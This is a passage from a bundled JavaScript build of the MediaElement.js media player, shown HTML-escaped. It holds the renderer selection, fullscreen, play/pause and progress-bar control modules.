	mediaTypes: [&#039;audio/mp3&#039;, &#039;audio/ogg&#039;, &#039;audio/oga&#039;, &#039;audio/wav&#039;, &#039;audio/x-wav&#039;, &#039;audio/wave&#039;, &#039;audio/x-pn-wav&#039;, &#039;audio/mpeg&#039;, &#039;audio/mp4&#039;, &#039;video/mp4&#039;, &#039;video/webm&#039;, &#039;video/ogg&#039;, &#039;video/ogv&#039;]
};

_window2.default.mejs = mejs;

exports.default = mejs;

},{&quot;3&quot;:3}],8:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.renderer = undefined;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i &lt; props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (&quot;value&quot; in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(&quot;Cannot call a class as a function&quot;); } }

var Renderer = function () {
	function Renderer() {
		_classCallCheck(this, Renderer);

		this.renderers = {};
		this.order = [];
	}

	_createClass(Renderer, [{
		key: &#039;add&#039;,
		value: function add(renderer) {
			if (renderer.name === undefined) {
				throw new TypeError(&#039;renderer must contain at least `name` property&#039;);
			}

			this.renderers[renderer.name] = renderer;
			this.order.push(renderer.name);
		}
	}, {
		key: &#039;select&#039;,
		value: function select(mediaFiles) {
			var renderers = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : [];

			var renderersLength = renderers.length;

			renderers = renderers.length ? renderers : this.order;

			if (!renderersLength) {
				var rendererIndicator = [/^(html5|native)/i, /^flash/i, /iframe$/i],
				    rendererRanking = function rendererRanking(renderer) {
					for (var i = 0, total = rendererIndicator.length; i &lt; total; i++) {
						if (rendererIndicator[i].test(renderer)) {
							return i;
						}
					}
					return rendererIndicator.length;
				};

				renderers.sort(function (a, b) {
					return rendererRanking(a) - rendererRanking(b);
				});
			}

			for (var i = 0, total = renderers.length; i &lt; total; i++) {
				var key = renderers[i],
				    _renderer = this.renderers[key];

				if (_renderer !== null &amp;&amp; _renderer !== undefined) {
					for (var j = 0, jl = mediaFiles.length; j &lt; jl; j++) {
						if (typeof _renderer.canPlayType === &#039;function&#039; &amp;&amp; typeof mediaFiles[j].type === &#039;string&#039; &amp;&amp; _renderer.canPlayType(mediaFiles[j].type)) {
							return {
								rendererName: _renderer.name,
								src: mediaFiles[j].src
							};
						}
					}
				}
			}

			return null;
		}
	}, {
		key: &#039;order&#039;,
		set: function set(order) {
			if (!Array.isArray(order)) {
				throw new TypeError(&#039;order must be an array of strings.&#039;);
			}

			this._order = order;
		},
		get: function get() {
			return this._order;
		}
	}, {
		key: &#039;renderers&#039;,
		set: function set(renderers) {
			if (renderers !== null &amp;&amp; (typeof renderers === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(renderers)) !== &#039;object&#039;) {
				throw new TypeError(&#039;renderers must be an array of objects.&#039;);
			}

			this._renderers = renderers;
		},
		get: function get() {
			return this._renderers;
		}
	}]);

	return Renderer;
}();

var renderer = exports.renderer = new Renderer();

_mejs2.default.Renderers = renderer;

},{&quot;7&quot;:7}],9:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _i18n = _dereq_(5);

var _i18n2 = _interopRequireDefault(_i18n);

var _player = _dereq_(16);

var _player2 = _interopRequireDefault(_player);

var _constants = _dereq_(25);

var Features = _interopRequireWildcard(_constants);

var _general = _dereq_(27);

var _dom = _dereq_(26);

var _media = _dereq_(28);

function _interopRequireWildcard(obj) { if (obj &amp;&amp; obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

Object.assign(_player.config, {
	usePluginFullScreen: true,

	fullscreenText: null,

	useFakeFullscreen: false
});

Object.assign(_player2.default.prototype, {
	isFullScreen: false,

	isNativeFullScreen: false,

	isInIframe: false,

	isPluginClickThroughCreated: false,

	fullscreenMode: &#039;&#039;,

	containerSizeTimeout: null,

	buildfullscreen: function buildfullscreen(player) {
		if (!player.isVideo) {
			return;
		}

		player.isInIframe = _window2.default.location !== _window2.default.parent.location;

		player.detectFullscreenMode();

		var t = this,
		    fullscreenTitle = (0, _general.isString)(t.options.fullscreenText) ? t.options.fullscreenText : _i18n2.default.t(&#039;mejs.fullscreen&#039;),
		    fullscreenBtn = _document2.default.createElement(&#039;div&#039;);

		fullscreenBtn.className = t.options.classPrefix + &#039;button &#039; + t.options.classPrefix + &#039;fullscreen-button&#039;;
		fullscreenBtn.innerHTML = &#039;&lt;button type=&quot;button&quot; aria-controls=&quot;&#039; + t.id + &#039;&quot; title=&quot;&#039; + fullscreenTitle + &#039;&quot; aria-label=&quot;&#039; + fullscreenTitle + &#039;&quot; tabindex=&quot;0&quot;&gt;&lt;/button&gt;&#039;;
		t.addControlElement(fullscreenBtn, &#039;fullscreen&#039;);

		fullscreenBtn.addEventListener(&#039;click&#039;, function () {
			var isFullScreen = Features.HAS_TRUE_NATIVE_FULLSCREEN &amp;&amp; Features.IS_FULLSCREEN || player.isFullScreen;

			if (isFullScreen) {
				player.exitFullScreen();
			} else {
				player.enterFullScreen();
			}
		});

		player.fullscreenBtn = fullscreenBtn;

		t.options.keyActions.push({
			keys: [70],
			action: function action(player, media, key, event) {
				if (!event.ctrlKey) {
					if (typeof player.enterFullScreen !== &#039;undefined&#039;) {
						if (player.isFullScreen) {
							player.exitFullScreen();
						} else {
							player.enterFullScreen();
						}
					}
				}
			}
		});

		t.exitFullscreenCallback = function (e) {
			var key = e.which || e.keyCode || 0;
			if (t.options.enableKeyboard &amp;&amp; key === 27 &amp;&amp; (Features.HAS_TRUE_NATIVE_FULLSCREEN &amp;&amp; Features.IS_FULLSCREEN || t.isFullScreen)) {
				player.exitFullScreen();
			}
		};

		t.globalBind(&#039;keydown&#039;, t.exitFullscreenCallback);

		t.normalHeight = 0;
		t.normalWidth = 0;

		if (Features.HAS_TRUE_NATIVE_FULLSCREEN) {
			var fullscreenChanged = function fullscreenChanged() {
				if (player.isFullScreen) {
					if (Features.isFullScreen()) {
						player.isNativeFullScreen = true;

						player.setControlsSize();
					} else {
						player.isNativeFullScreen = false;

						player.exitFullScreen();
					}
				}
			};

			player.globalBind(Features.FULLSCREEN_EVENT_NAME, fullscreenChanged);
		}
	},
	cleanfullscreen: function cleanfullscreen(player) {
		player.exitFullScreen();
		player.globalUnbind(&#039;keydown&#039;, player.exitFullscreenCallback);
	},
	detectFullscreenMode: function detectFullscreenMode() {
		var t = this,
		    isNative = t.media.rendererName !== null &amp;&amp; /(native|html5)/i.test(t.media.rendererName);

		var mode = &#039;&#039;;

		if (Features.HAS_TRUE_NATIVE_FULLSCREEN &amp;&amp; isNative) {
			mode = &#039;native-native&#039;;
		} else if (Features.HAS_TRUE_NATIVE_FULLSCREEN &amp;&amp; !isNative) {
			mode = &#039;plugin-native&#039;;
		} else if (t.usePluginFullScreen &amp;&amp; Features.SUPPORT_POINTER_EVENTS) {
			mode = &#039;plugin-click&#039;;
		}

		t.fullscreenMode = mode;
		return mode;
	},
	enterFullScreen: function enterFullScreen() {
		var t = this,
		    isNative = t.media.rendererName !== null &amp;&amp; /(html5|native)/i.test(t.media.rendererName),
		    containerStyles = getComputedStyle(t.getElement(t.container));

		if (!t.isVideo) {
			return;
		}

		if (t.options.useFakeFullscreen === false &amp;&amp; (Features.IS_IOS || Features.IS_SAFARI) &amp;&amp; Features.HAS_IOS_FULLSCREEN &amp;&amp; typeof t.media.originalNode.webkitEnterFullscreen === &#039;function&#039; &amp;&amp; t.media.originalNode.canPlayType((0, _media.getTypeFromFile)(t.media.getSrc()))) {
			t.media.originalNode.webkitEnterFullscreen();
			return;
		}

		(0, _dom.addClass)(_document2.default.documentElement, t.options.classPrefix + &#039;fullscreen&#039;);
		(0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + &#039;container-fullscreen&#039;);

		t.normalHeight = parseFloat(containerStyles.height);
		t.normalWidth = parseFloat(containerStyles.width);

		if (t.fullscreenMode === &#039;native-native&#039; || t.fullscreenMode === &#039;plugin-native&#039;) {
			Features.requestFullScreen(t.getElement(t.container));

			if (t.isInIframe) {
				setTimeout(function checkFullscreen() {

					if (t.isNativeFullScreen) {
						var percentErrorMargin = 0.002,
						    windowWidth = _window2.default.innerWidth || _document2.default.documentElement.clientWidth || _document2.default.body.clientWidth,
						    screenWidth = screen.width,
						    absDiff = Math.abs(screenWidth - windowWidth),
						    marginError = screenWidth * percentErrorMargin;

						if (absDiff &gt; marginError) {
							t.exitFullScreen();
						} else {
							setTimeout(checkFullscreen, 500);
						}
					}
				}, 1000);
			}
		}

		t.getElement(t.container).style.width = &#039;100%&#039;;
		t.getElement(t.container).style.height = &#039;100%&#039;;

		t.containerSizeTimeout = setTimeout(function () {
			t.getElement(t.container).style.width = &#039;100%&#039;;
			t.getElement(t.container).style.height = &#039;100%&#039;;
			t.setControlsSize();
		}, 500);

		if (isNative) {
			t.node.style.width = &#039;100%&#039;;
			t.node.style.height = &#039;100%&#039;;
		} else {
			var elements = t.getElement(t.container).querySelectorAll(&#039;embed, object, video&#039;),
			    _total = elements.length;
			for (var i = 0; i &lt; _total; i++) {
				elements[i].style.width = &#039;100%&#039;;
				elements[i].style.height = &#039;100%&#039;;
			}
		}

		if (t.options.setDimensions &amp;&amp; typeof t.media.setSize === &#039;function&#039;) {
			t.media.setSize(screen.width, screen.height);
		}

		var layers = t.getElement(t.layers).children,
		    total = layers.length;
		for (var _i = 0; _i &lt; total; _i++) {
			layers[_i].style.width = &#039;100%&#039;;
			layers[_i].style.height = &#039;100%&#039;;
		}

		if (t.fullscreenBtn) {
			(0, _dom.removeClass)(t.fullscreenBtn, t.options.classPrefix + &#039;fullscreen&#039;);
			(0, _dom.addClass)(t.fullscreenBtn, t.options.classPrefix + &#039;unfullscreen&#039;);
		}

		t.setControlsSize();
		t.isFullScreen = true;

		var zoomFactor = Math.min(screen.width / t.width, screen.height / t.height),
		    captionText = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-text&#039;);
		if (captionText) {
			captionText.style.fontSize = zoomFactor * 100 + &#039;%&#039;;
			captionText.style.lineHeight = &#039;normal&#039;;
			t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-position&#039;).style.bottom = (screen.height - t.normalHeight) / 2 - t.getElement(t.controls).offsetHeight / 2 + zoomFactor + 15 + &#039;px&#039;;
		}
		var event = (0, _general.createEvent)(&#039;enteredfullscreen&#039;, t.getElement(t.container));
		t.getElement(t.container).dispatchEvent(event);
	},
	exitFullScreen: function exitFullScreen() {
		var t = this,
		    isNative = t.media.rendererName !== null &amp;&amp; /(native|html5)/i.test(t.media.rendererName);

		if (!t.isVideo) {
			return;
		}

		clearTimeout(t.containerSizeTimeout);

		if (Features.HAS_TRUE_NATIVE_FULLSCREEN &amp;&amp; (Features.IS_FULLSCREEN || t.isFullScreen)) {
			Features.cancelFullScreen();
		}

		(0, _dom.removeClass)(_document2.default.documentElement, t.options.classPrefix + &#039;fullscreen&#039;);
		(0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + &#039;container-fullscreen&#039;);

		if (t.options.setDimensions) {
			t.getElement(t.container).style.width = t.normalWidth + &#039;px&#039;;
			t.getElement(t.container).style.height = t.normalHeight + &#039;px&#039;;

			if (isNative) {
				t.node.style.width = t.normalWidth + &#039;px&#039;;
				t.node.style.height = t.normalHeight + &#039;px&#039;;
			} else {
				var elements = t.getElement(t.container).querySelectorAll(&#039;embed, object, video&#039;),
				    _total2 = elements.length;
				for (var i = 0; i &lt; _total2; i++) {
					elements[i].style.width = t.normalWidth + &#039;px&#039;;
					elements[i].style.height = t.normalHeight + &#039;px&#039;;
				}
			}

			if (typeof t.media.setSize === &#039;function&#039;) {
				t.media.setSize(t.normalWidth, t.normalHeight);
			}

			var layers = t.getElement(t.layers).children,
			    total = layers.length;
			for (var _i2 = 0; _i2 &lt; total; _i2++) {
				layers[_i2].style.width = t.normalWidth + &#039;px&#039;;
				layers[_i2].style.height = t.normalHeight + &#039;px&#039;;
			}
		}

		if (t.fullscreenBtn) {
			(0, _dom.removeClass)(t.fullscreenBtn, t.options.classPrefix + &#039;unfullscreen&#039;);
			(0, _dom.addClass)(t.fullscreenBtn, t.options.classPrefix + &#039;fullscreen&#039;);
		}

		t.setControlsSize();
		t.isFullScreen = false;

		var captionText = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-text&#039;);
		if (captionText) {
			captionText.style.fontSize = &#039;&#039;;
			captionText.style.lineHeight = &#039;&#039;;
			t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-position&#039;).style.bottom = &#039;&#039;;
		}
		var event = (0, _general.createEvent)(&#039;exitedfullscreen&#039;, t.getElement(t.container));
		t.getElement(t.container).dispatchEvent(event);
	}
});

},{&quot;16&quot;:16,&quot;2&quot;:2,&quot;25&quot;:25,&quot;26&quot;:26,&quot;27&quot;:27,&quot;28&quot;:28,&quot;3&quot;:3,&quot;5&quot;:5}],10:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _player = _dereq_(16);

var _player2 = _interopRequireDefault(_player);

var _i18n = _dereq_(5);

var _i18n2 = _interopRequireDefault(_i18n);

var _general = _dereq_(27);

var _dom = _dereq_(26);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

Object.assign(_player.config, {
	playText: null,

	pauseText: null
});

Object.assign(_player2.default.prototype, {
	buildplaypause: function buildplaypause(player, controls, layers, media) {
		var t = this,
		    op = t.options,
		    playTitle = (0, _general.isString)(op.playText) ? op.playText : _i18n2.default.t(&#039;mejs.play&#039;),
		    pauseTitle = (0, _general.isString)(op.pauseText) ? op.pauseText : _i18n2.default.t(&#039;mejs.pause&#039;),
		    play = _document2.default.createElement(&#039;div&#039;);

		play.className = t.options.classPrefix + &#039;button &#039; + t.options.classPrefix + &#039;playpause-button &#039; + t.options.classPrefix + &#039;play&#039;;
		play.innerHTML = &#039;&lt;button type=&quot;button&quot; aria-controls=&quot;&#039; + t.id + &#039;&quot; title=&quot;&#039; + playTitle + &#039;&quot; aria-label=&quot;&#039; + pauseTitle + &#039;&quot; tabindex=&quot;0&quot;&gt;&lt;/button&gt;&#039;;
		play.addEventListener(&#039;click&#039;, function () {
			if (t.paused) {
				t.play();
			} else {
				t.pause();
			}
		});

		var playBtn = play.querySelector(&#039;button&#039;);
		t.addControlElement(play, &#039;playpause&#039;);

		function togglePlayPause(which) {
			if (&#039;play&#039; === which) {
				(0, _dom.removeClass)(play, t.options.classPrefix + &#039;play&#039;);
				(0, _dom.removeClass)(play, t.options.classPrefix + &#039;replay&#039;);
				(0, _dom.addClass)(play, t.options.classPrefix + &#039;pause&#039;);
				playBtn.setAttribute(&#039;title&#039;, pauseTitle);
				playBtn.setAttribute(&#039;aria-label&#039;, pauseTitle);
			} else {

				(0, _dom.removeClass)(play, t.options.classPrefix + &#039;pause&#039;);
				(0, _dom.removeClass)(play, t.options.classPrefix + &#039;replay&#039;);
				(0, _dom.addClass)(play, t.options.classPrefix + &#039;play&#039;);
				playBtn.setAttribute(&#039;title&#039;, playTitle);
				playBtn.setAttribute(&#039;aria-label&#039;, playTitle);
			}
		}

		togglePlayPause(&#039;pse&#039;);

		media.addEventListener(&#039;loadedmetadata&#039;, function () {
			if (media.rendererName.indexOf(&#039;flash&#039;) === -1) {
				togglePlayPause(&#039;pse&#039;);
			}
		});
		media.addEventListener(&#039;play&#039;, function () {
			togglePlayPause(&#039;play&#039;);
		});
		media.addEventListener(&#039;playing&#039;, function () {
			togglePlayPause(&#039;play&#039;);
		});
		media.addEventListener(&#039;pause&#039;, function () {
			togglePlayPause(&#039;pse&#039;);
		});
		media.addEventListener(&#039;ended&#039;, function () {
			if (!player.options.loop) {
				(0, _dom.removeClass)(play, t.options.classPrefix + &#039;pause&#039;);
				(0, _dom.removeClass)(play, t.options.classPrefix + &#039;play&#039;);
				(0, _dom.addClass)(play, t.options.classPrefix + &#039;replay&#039;);
				playBtn.setAttribute(&#039;title&#039;, playTitle);
				playBtn.setAttribute(&#039;aria-label&#039;, playTitle);
			}
		});
	}
});

},{&quot;16&quot;:16,&quot;2&quot;:2,&quot;26&quot;:26,&quot;27&quot;:27,&quot;5&quot;:5}],11:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _player = _dereq_(16);

var _player2 = _interopRequireDefault(_player);

var _i18n = _dereq_(5);

var _i18n2 = _interopRequireDefault(_i18n);

var _constants = _dereq_(25);

var _time = _dereq_(30);

var _dom = _dereq_(26);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

Object.assign(_player.config, {
	enableProgressTooltip: true,

	useSmoothHover: true,

	forceLive: false
});

Object.assign(_player2.default.prototype, {
	buildprogress: function buildprogress(player, controls, layers, media) {

		var lastKeyPressTime = 0,
		    mouseIsDown = false,
		    startedPaused = false;

		var t = this,
		    autoRewindInitial = player.options.autoRewind,
		    tooltip = player.options.enableProgressTooltip ? &#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-float&quot;&gt;&#039; + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-float-current&quot;&gt;00:00&lt;/span&gt;&#039;) + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-float-corner&quot;&gt;&lt;/span&gt;&#039;) + &#039;&lt;/span&gt;&#039; : &#039;&#039;,
		    rail = _document2.default.createElement(&#039;div&#039;);

		rail.className = t.options.classPrefix + &#039;time-rail&#039;;
		rail.innerHTML = &#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-total &#039; + t.options.classPrefix + &#039;time-slider&quot;&gt;&#039; + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-buffering&quot;&gt;&lt;/span&gt;&#039;) + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-loaded&quot;&gt;&lt;/span&gt;&#039;) + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-current&quot;&gt;&lt;/span&gt;&#039;) + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-hovered no-hover&quot;&gt;&lt;/span&gt;&#039;) + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-handle&quot;&gt;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;time-handle-content&quot;&gt;&lt;/span&gt;&lt;/span&gt;&#039;) + (&#039;&#039; + tooltip) + &#039;&lt;/span&gt;&#039;;

		t.addControlElement(rail, &#039;progress&#039;);

		t.options.keyActions.push({
			keys: [37, 227],
			action: function action(player) {
				if (!isNaN(player.duration) &amp;&amp; player.duration &gt; 0) {
					if (player.isVideo) {
						player.showControls();
						player.startControlsTimer();
					}

					var timeSlider = player.getElement(player.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-total&#039;);
					if (timeSlider) {
						timeSlider.focus();
					}

					var newTime = Math.max(player.currentTime - player.options.defaultSeekBackwardInterval(player), 0);

					if (!player.paused) {
						player.pause();
					}

					setTimeout(function () {
						player.setCurrentTime(newTime);
					}, 0);

					setTimeout(function () {
						player.play();
					}, 0);
				}
			}
		}, {
			keys: [39, 228],
			action: function action(player) {

				if (!isNaN(player.duration) &amp;&amp; player.duration &gt; 0) {
					if (player.isVideo) {
						player.showControls();
						player.startControlsTimer();
					}

					var timeSlider = player.getElement(player.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-total&#039;);
					if (timeSlider) {
						timeSlider.focus();
					}

					var newTime = Math.min(player.currentTime + player.options.defaultSeekForwardInterval(player), player.duration);

					if (!player.paused) {
						player.pause();
					}

					setTimeout(function () {
						player.setCurrentTime(newTime);
					}, 0);

					setTimeout(function () {
						player.play();
					}, 0);
				}
			}
		});

		t.rail = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-rail&#039;);
		t.total = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-total&#039;);
		t.loaded = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-loaded&#039;);
		t.current = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-current&#039;);
		t.handle = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-handle&#039;);
		t.timefloat = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-float&#039;);
		t.timefloatcurrent = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-float-current&#039;);
		t.slider = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-slider&#039;);
		t.hovered = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-hovered&#039;);
		t.buffer = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time-buffering&#039;);
		t.newTime = 0;
		t.forcedHandlePause = false;
		t.setTransformStyle = function (element, value) {
			element.style.transform = value;
			element.style.webkitTransform = value;
			element.style.MozTransform = value;
			element.style.msTransform = value;
			element.style.OTransform = value;
		};

		t.buffer.style.display = &#039;none&#039;;

		var handleMouseMove = function handleMouseMove(e) {
			var totalStyles = getComputedStyle(t.total),
			    offsetStyles = (0, _dom.offset)(t.total),
			    width = t.total.offsetWidth,
			    transform = function () {
				if (totalStyles.webkitTransform !== undefined) {
					return &#039;webkitTransform&#039;;
				} else if (totalStyles.mozTransform !== undefined) {
					return &#039;mozTransform &#039;;
				} else if (totalStyles.oTransform !== undefined) {
					return &#039;oTransform&#039;;
				} else if (totalStyles.msTransform !== undefined) {
					return &#039;msTransform&#039;;
				} else {
					return &#039;transform&#039;;
				}
			}(),
			    cssMatrix = function () {
				if (&#039;WebKitCSSMatrix&#039; in window) {
					return &#039;WebKitCSSMatrix&#039;;
				} else if (&#039;MSCSSMatrix&#039; in window) {
					return &#039;MSCSSMatrix&#039;;
				} else if (&#039;CSSMatrix&#039; in window) {
					return &#039;CSSMatrix&#039;;
				}
			}();

			var percentage = 0,
			    leftPos = 0,
			    pos = 0,
			    x = void 0;

			if (e.originalEvent &amp;&amp; e.originalEvent.changedTouches) {
				x = e.originalEvent.changedTouches[0].pageX;
			} else if (e.changedTouches) {
				x = e.changedTouches[0].pageX;
			} else {
				x = e.pageX;
			}

			if (t.getDuration()) {
				if (x &lt; offsetStyles.left) {
					x = offsetStyles.left;
				} else if (x &gt; width + offsetStyles.left) {
					x = width + offsetStyles.left;
				}

				pos = x - offsetStyles.left;
				percentage = pos / width;
				t.newTime = percentage * t.getDuration();

				if (mouseIsDown &amp;&amp; t.getCurrentTime() !== null &amp;&amp; t.newTime.toFixed(4) !== t.getCurrentTime().toFixed(4)) {
					t.setCurrentRailHandle(t.newTime);
					t.updateCurrent(t.newTime);
				}

				if (!_constants.IS_IOS &amp;&amp; !_constants.IS_ANDROID) {
					if (pos &lt; 0) {
						pos = 0;
					}
					if (t.options.useSmoothHover &amp;&amp; cssMatrix !== null &amp;&amp; typeof window[cssMatrix] !== &#039;undefined&#039;) {
						var matrix = new window[cssMatrix](getComputedStyle(t.handle)[transform]),
						    handleLocation = matrix.m41,
						    hoverScaleX = pos / parseFloat(getComputedStyle(t.total).width) - handleLocation / parseFloat(getComputedStyle(t.total).width);

						t.hovered.style.left = handleLocation + &#039;px&#039;;
						t.setTransformStyle(t.hovered, &#039;scaleX(&#039; + hoverScaleX + &#039;)&#039;);
						t.hovered.setAttribute(&#039;pos&#039;, pos);

						if (hoverScaleX &gt;= 0) {
							(0, _dom.removeClass)(t.hovered, &#039;negative&#039;);
						} else {
							(0, _dom.addClass)(t.hovered, &#039;negative&#039;);
						}
					}

					if (t.timefloat) {
						var half = t.timefloat.offsetWidth / 2,
						    offsetContainer = mejs.Utils.offset(t.getElement(t.container)),
						    tooltipStyles = getComputedStyle(t.timefloat);

						if (x - offsetContainer.left &lt; t.timefloat.offsetWidth) {
							leftPos = half;
						} else if (x - offsetContainer.left &gt;= t.getElement(t.container).offsetWidth - half) {
							leftPos = t.total.offsetWidth - half;
						} else {
							leftPos = pos;
						}

						if ((0, _dom.hasClass)(t.getElement(t.container), t.options.classPrefix + &#039;long-video&#039;)) {
							leftPos += parseFloat(tooltipStyles.marginLeft) / 2 + t.timefloat.offsetWidth / 2;
						}

						t.timefloat.style.left = leftPos + &#039;px&#039;;
						t.timefloatcurrent.innerHTML = (0, _time.secondsToTimeCode)(t.newTime, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat);
						t.timefloat.style.display = &#039;block&#039;;
					}
				}
			} else if (!_constants.IS_IOS &amp;&amp; !_constants.IS_ANDROID &amp;&amp; t.timefloat) {
				leftPos = t.timefloat.offsetWidth + width &gt;= t.getElement(t.container).offsetWidth ? t.timefloat.offsetWidth / 2 : 0;
				t.timefloat.style.left = leftPos + &#039;px&#039;;
				t.timefloat.style.left = leftPos + &#039;px&#039;;
				t.timefloat.style.display = &#039;block&#039;;
			}
		},
		    updateSlider = function updateSlider() {
			var seconds = t.getCurrentTime(),
			    timeSliderText = _i18n2.default.t(&#039;mejs.time-slider&#039;),
			    time = (0, _time.secondsToTimeCode)(seconds, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat),
			    duration = t.getDuration();

			t.slider.setAttribute(&#039;role&#039;, &#039;slider&#039;);
			t.slider.tabIndex = 0;

			if (media.paused) {
				t.slider.setAttribute(&#039;aria-label&#039;, timeSliderText);
				t.slider.setAttribute(&#039;aria-valuemin&#039;, 0);
				t.slider.setAttribute(&#039;aria-valuemax&#039;, isNaN(duration) ? 0 : duration);
				t.slider.setAttribute(&#039;aria-valuenow&#039;, seconds);
				t.slider.setAttribute(&#039;aria-valuetext&#039;, time);
			} else {
				t.slider.removeAttribute(&#039;aria-label&#039;);
				t.slider.removeAttribute(&#039;aria-valuemin&#039;);
				t.slider.removeAttribute(&#039;aria-valuemax&#039;);
				t.slider.removeAttribute(&#039;aria-valuenow&#039;);
				t.slider.removeAttribute(&#039;aria-valuetext&#039;);
			}
		},
		    restartPlayer = function restartPlayer() {
			if (new Date() - lastKeyPressTime &gt;= 1000) {
				t.play();
			}
		},
		    handleMouseup = function handleMouseup() {
			if (mouseIsDown &amp;&amp; t.getCurrentTime() !== null &amp;&amp; t.newTime.toFixed(4) !== t.getCurrentTime().toFixed(4)) {
				t.setCurrentTime(t.newTime);
				t.setCurrentRailHandle(t.newTime);
				t.updateCurrent(t.newTime);
			}
			if (t.forcedHandlePause) {
				t.slider.focus();
				t.play();
			}
			t.forcedHandlePause = false;
		};

		t.slider.addEventListener(&#039;focus&#039;, function () {
			player.options.autoRewind = false;
		});
		t.slider.addEventListener(&#039;blur&#039;, function () {
			player.options.autoRewind = autoRewindInitial;
		});
		t.slider.addEventListener(&#039;keydown&#039;, function (e) {
			if (new Date() - lastKeyPressTime &gt;= 1000) {
				startedPaused = t.paused;
			}

			if (t.options.enableKeyboard &amp;&amp; t.options.keyActions.length) {

				var keyCode = e.which || e.keyCode || 0,
				    duration = t.getDuration(),
				    seekForward = player.options.defaultSeekForwardInterval(media),
				    seekBackward = player.options.defaultSeekBackwardInterval(media);

				var seekTime = t.getCurrentTime();
				var volume = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;volume-slider&#039;);

				if (keyCode === 38 || keyCode === 40) {
					if (volume) {
						volume.style.display = &#039;block&#039;;
					}
					if (t.isVideo) {
						t.showControls();
						t.startControlsTimer();
					}

					var newVolume = keyCode === 38 ? Math.min(t.volume + 0.1, 1) : Math.max(t.volume - 0.1, 0),
					    mutePlayer = newVolume &lt;= 0;
					t.setVolume(newVolume);
					t.setMuted(mutePlayer);
					return;
				} else {
					if (volume) {
						volume.style.display = &#039;none&#039;;
					}
				}

				switch (keyCode) {
					case 37:
						if (t.getDuration() !== Infinity) {
							seekTime -= seekBackward;
						}
						break;
					case 39:
						if (t.getDuration() !== Infinity) {
							seekTime += seekForward;
						}
						break;
					case 36:
						seekTime = 0;
						break;
					case 35:
						seekTime = duration;
						break;
					case 13:
					case 32:
						if (_constants.IS_FIREFOX) {
							if (t.paused) {
								t.play();
							} else {
								t.pause();
							}
						}
						return;
					default:
						return;
				}

				seekTime = seekTime &lt; 0 || isNaN(seekTime) ? 0 : seekTime &gt;= duration ? duration : Math.floor(seekTime);
				lastKeyPressTime = new Date();
				if (!startedPaused) {
					player.pause();
				}

				setTimeout(function () {
